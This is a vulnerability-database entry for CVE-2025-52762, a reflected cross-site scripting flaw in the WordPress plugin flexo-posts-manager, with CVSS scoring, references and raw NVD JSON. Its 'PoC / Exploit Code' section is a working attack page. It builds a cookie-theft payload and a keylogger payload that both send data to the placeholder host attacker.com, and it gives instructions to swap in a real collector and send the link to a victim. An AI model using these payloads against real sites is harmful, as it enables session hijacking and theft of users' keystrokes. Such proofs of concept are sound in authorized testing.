CVE-2025-52762

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in flexostudio flexo-posts-manager flexo-posts-manager allows Reflected XSS.This issue affects flexo-posts-manager: from n/a through <= 1.0001.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

flexo-posts-manager <= 1.0001

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52762 Reflected XSS PoC for flexo-posts-manager -->
<!-- Target: WordPress site with flexo-posts-manager plugin <= 1.0001 -->
<!-- This PoC demonstrates the reflected XSS vulnerability -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52762 PoC - flexo-posts-manager Reflected XSS</title>
    <style>
        body { font-family: Arial, sans-serif; max-width: 800px; margin: 50px auto; padding: 20px; }
        .poc-box { background: #f5f5f5; border: 1px solid #ddd; padding: 20px; border-radius: 5px; }
        .attack-link { word-break: break-all; background: #ffe6e6; padding: 10px; margin: 10px 0; }
    </style>
</head>
<body>
    <h1>CVE-2025-52762: flexo-posts-manager Reflected XSS</h1>
    
    <div class="poc-box">
        <h2>Attack URL (Cookie Theft)</h2>
        <div class="attack-link" id="attackUrl"></div>
        
        <h2>Attack URL (Keylogger)</h2>
        <div class="attack-link" id="keylogUrl"></div>
        
        <h3>Instructions:</h3>
        <ol>
            <li>Replace 'YOUR_TARGET_WORDPRESS_URL' with the vulnerable site URL</li>
            <li>Replace 'https://attacker.com/collect' with your collector endpoint</li>
            <li>Send the crafted URL to the victim</li>
            <li>When victim clicks, their cookies will be sent to attacker</li>
        </ol>
        
        <h3>Cookie Theft Payload:</h3>
        <pre>&lt;script&gt;fetch('https://attacker.com/collect?c='+encodeURIComponent(document.cookie))&lt;/script&gt;</pre>
        
        <h3>Keylogger Payload:</h3>
        <pre>&lt;img src=x onerror='document.addEventListener("keypress",function(e){fetch("https://attacker.com/log?k="+e.key)})'&gt;</pre>
    </div>

    <script>
        // Generate attack URLs
        const targetBase = 'YOUR_TARGET_WORDPRESS_URL';
        const collectorUrl = 'https://attacker.com/collect';
        
        // Cookie theft payload
        const cookiePayload = `<script>fetch('${collectorUrl}?c='+encodeURIComponent(document.cookie))</script>`;
        const attackUrl = `${targetBase}?s=${encodeURIComponent(cookiePayload)}`;
        
        // Keylogger payload  
        const keylogPayload = `<img src=x onerror='document.addEventListener("keypress",function(e){fetch("${collectorUrl}?k="+e.key)})'>`;
        const keylogUrl = `${targetBase}?s=${encodeURIComponent(keylogPayload)}`;
        
        document.getElementById('attackUrl').textContent = attackUrl;
        document.getElementById('keylogUrl').textContent = keylogUrl;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52762
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52762
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52762/
[4] VulDB https://vuldb.com/cve/CVE-2025-52762
[5] https://patchstack.com/database/Wordpress/Plugin/flexo-posts-manager/vulnerability/wordpress-flexo-posts-manager-plugin-1-0001-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52762", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.630", "lastModified": "2026-04-27T17:16:27.213", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in flexostudio flexo-posts-manager flexo-posts-manager allows Reflected XSS.This issue affects flexo-posts-manager: from n/a through <= 1.0001."}, {"lang": "es", "value": "Neutralización Inadecuada de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en flexostudio flexo-posts-manager flexo-posts-manager permite XSS Reflejado. Este problema afecta a flexo-posts-manager: desde n/a hasta <= 1.0001."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/flexo-posts-manager/vulnerability/wordpress-flexo-posts-manager-plugin-1-0001-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}